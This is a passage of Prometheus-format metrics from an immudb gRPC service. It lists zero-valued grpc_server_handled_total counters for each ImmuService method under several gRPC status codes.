0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"AlreadyExists\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Canceled\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DataLoss\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"DeadlineExceeded\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 